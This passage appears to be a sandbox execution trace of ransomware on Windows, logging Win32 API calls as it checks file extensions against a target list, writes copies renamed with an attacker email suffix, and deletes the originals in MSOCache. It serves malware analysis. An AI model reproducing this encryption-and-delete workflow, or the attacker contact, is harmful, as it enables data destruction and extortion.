1 [0045.902] SetEndOfFile (hFile=0x1a0) returned 1 [0045.903] CloseHandle (hObject=0x1a0) returned 1 [0045.903] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.903] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0045.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0045.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0045.904] lstrlenW (lpString=".doc") returned 4 [0045.904] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.904] lstrlenW (lpString=".docx") returned 5 [0045.904] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0045.904] lstrlenW (lpString=".pdf") returned 4 [0045.904] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.904] lstrlenW (lpString=".xls") returned 4 [0045.904] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.904] lstrlenW (lpString=".xlsx") returned 5 [0045.904] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0045.904] lstrlenW (lpString=".ppt") returned 4 [0045.904] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0045.904] lstrlenW (lpString=".zip") returned 4 [0045.904] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.905] lstrlenW (lpString=".rar") returned 4 [0045.905] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.905] lstrlenW (lpString=".bz2") returned 4 [0045.905] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.905] lstrlenW (lpString=".7z") returned 3 [0045.905] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0045.905] lstrlenW (lpString=".dbf") returned 4 [0045.905] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0045.905] lstrlenW (lpString=".1cd") returned 4 [0045.905] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0045.905] lstrlenW (lpString=".jpg") returned 4 [0045.905] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0045.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0045.905] lstrlenW (lpString=".doc") returned 4 [0045.905] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.905] lstrlenW (lpString=".docx") returned 5 [0045.905] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0045.906] lstrlenW (lpString=".pdf") returned 4 [0045.906] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.906] lstrlenW (lpString=".xls") returned 4 [0045.906] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.906] lstrlenW (lpString=".xlsx") returned 5 [0045.906] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0045.906] lstrlenW (lpString=".ppt") returned 4 [0045.906] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0045.906] lstrlenW (lpString=".zip") returned 4 [0045.906] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.906] lstrlenW (lpString=".rar") returned 4 [0045.906] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.906] lstrlenW (lpString=".bz2") returned 4 [0045.906] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.906] lstrlenW (lpString=".7z") returned 3 [0045.906] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0045.906] lstrlenW (lpString=".dbf") returned 4 [0045.906] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0045.906] lstrlenW (lpString=".1cd") returned 4 [0045.907] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0045.907] lstrlenW (lpString=".jpg") returned 4 [0045.907] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.907] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.907] lstrlenW (lpString="Setup.xml") returned 9 [0045.907] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.907] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=2362) returned 1 [0045.907] CloseHandle (hObject=0x1a0) returned 1 [0045.908] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0045.908] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.908] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0045.908] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.908] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.908] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0045.921] GetLastError () returned 0x0 [0045.921] ReadFile (in: hFile=0x1a0, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x93a, lpOverlapped=0x0) returned 1 [0046.162] WriteFile (in: hFile=0x1cc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x940, lpOverlapped=0x0) returned 1 [0046.164] ReadFile (in: hFile=0x1a0, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.164] WriteFile (in: hFile=0x1cc, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.164] SetEndOfFile (hFile=0x1cc) returned 1 [0046.164] CloseHandle (hObject=0x1cc) returned 1 [0046.165] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.165] SetEndOfFile (hFile=0x1a0) returned 1 [0046.167] CloseHandle (hObject=0x1a0) returned 1 [0046.167] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0046.168] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0046.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.168] lstrlenW (lpString=".doc") returned 4 [0046.168] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.168] lstrlenW (lpString=".docx") returned 5 [0046.168] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.169] lstrlenW (lpString=".pdf") returned 4 [0046.169] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.169] lstrlenW (lpString=".xls") returned 4 [0046.169] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.169] lstrlenW (lpString=".xlsx") returned 5 [0046.169] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.169] lstrlenW (lpString=".ppt") returned 4 [0046.169] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.169] lstrlenW (lpString=".zip") returned 4 [0046.169] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.169] lstrlenW (lpString=".rar") returned 4 [0046.169] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.169] lstrlenW (lpString=".bz2") returned 4 [0046.169] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.169] lstrlenW (lpString=".7z") returned 3 [0046.169] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.169] lstrlenW (lpString=".dbf") returned 4 [0046.169] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.170] lstrlenW (lpString=".1cd") returned 4 [0046.170] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.170] lstrlenW (lpString=".jpg") returned 4 [0046.170] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.170] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.170] lstrlenW (lpString=".doc") returned 4 [0046.170] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.170] lstrlenW (lpString=".docx") returned 5 [0046.170] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0046.170] lstrlenW (lpString=".pdf") returned 4 [0046.170] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.170] lstrlenW (lpString=".xls") returned 4 [0046.170] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.170] lstrlenW (lpString=".xlsx") returned 5 [0046.170] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0046.170] lstrlenW (lpString=".ppt") returned 4 [0046.171] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.171] lstrlenW (lpString=".zip") returned 4 [0046.171] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.171] lstrlenW (lpString=".rar") returned 4 [0046.171] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.171] lstrlenW (lpString=".bz2") returned 4 [0046.171] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.171] lstrlenW (lpString=".7z") returned 3 [0046.171] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.171] lstrlenW (lpString=".dbf") returned 4 [0046.171] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.171] lstrlenW (lpString=".1cd") returned 4 [0046.171] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.171] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0046.171] lstrlenW (lpString=".jpg") returned 4 [0046.171] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.172] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0046.172] lstrlenW (lpString="VisioMUI.xml") returned 12 [0046.172] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.211] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=9503) returned 1 [0046.211] CloseHandle (hObject=0x1e8) returned 1 [0046.212] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0046.212] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0046.212] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.212] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.212] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.212] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.213] GetLastError () returned 0x0 [0046.213] ReadFile (in: hFile=0x1e8, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x251f, lpOverlapped=0x0) returned 1 [0046.216] WriteFile (in: hFile=0x1ec, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0046.218] ReadFile (in: hFile=0x1e8, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.219] WriteFile (in: hFile=0x1ec, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.219] SetEndOfFile (hFile=0x1ec) returned 1 [0046.219] CloseHandle (hObject=0x1ec) returned 1 [0046.220] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.220] SetEndOfFile (hFile=0x1e8) returned 1 [0046.223] CloseHandle (hObject=0x1e8) returned 1 [0046.223] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0046.223] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0046.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0046.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0046.224] lstrlenW (lpString=".doc") returned 4 [0046.224] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.224] lstrlenW (lpString=".docx") returned 5 [0046.224] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0046.224] lstrlenW (lpString=".pdf") returned 4 [0046.224] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.224] lstrlenW (lpString=".xls") returned 4 [0046.224] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.224] lstrlenW (lpString=".xlsx") returned 5 [0046.224] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0046.224] lstrlenW (lpString=".ppt") returned 4 [0046.224] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0046.224] lstrlenW (lpString=".zip") returned 4 [0046.224] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.224] lstrlenW (lpString=".rar") returned 4 [0046.225] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.225] lstrlenW (lpString=".bz2") returned 4 [0046.225] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.225] lstrlenW (lpString=".7z") returned 3 [0046.225] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0046.225] lstrlenW (lpString=".dbf") returned 4 [0046.225] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0046.225] lstrlenW (lpString=".1cd") returned 4 [0046.225] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0046.225] lstrlenW (lpString=".jpg") returned 4 [0046.225] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0046.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0046.225] lstrlenW (lpString=".doc") returned 4 [0046.226] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.226] lstrlenW (lpString=".docx") returned 5 [0046.226] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0046.226] lstrlenW (lpString=".pdf") returned 4 [0046.226] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.226] lstrlenW (lpString=".xls") returned 4 [0046.226] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.226] lstrlenW (lpString=".xlsx") returned 5 [0046.226] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0046.226] lstrlenW (lpString=".ppt") returned 4 [0046.226] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0046.226] lstrlenW (lpString=".zip") returned 4 [0046.226] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.226] lstrlenW (lpString=".rar") returned 4 [0046.226] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.226] lstrlenW (lpString=".bz2") returned 4 [0046.226] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.227] lstrlenW (lpString=".7z") returned 3 [0046.227] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0046.227] lstrlenW (lpString=".dbf") returned 4 [0046.227] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0046.227] lstrlenW (lpString=".1cd") returned 4 [0046.227] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0046.227] lstrlenW (lpString=".jpg") returned 4 [0046.227] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.227] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0046.227] lstrlenW (lpString="Setup.xml") returned 9 [0046.228] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.229] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1988) returned 1 [0046.229] CloseHandle (hObject=0x1e8) returned 1 [0046.229] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0046.229] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0046.229] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.230] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.230] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.230] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.230] GetLastError () returned 0x0 [0046.230] ReadFile (in: hFile=0x1e8, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x7c4, lpOverlapped=0x0) returned 1 [0046.233] WriteFile (in: hFile=0x1ec, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0046.235] ReadFile (in: hFile=0x1e8, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.235] WriteFile (in: hFile=0x1ec, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.236] SetEndOfFile 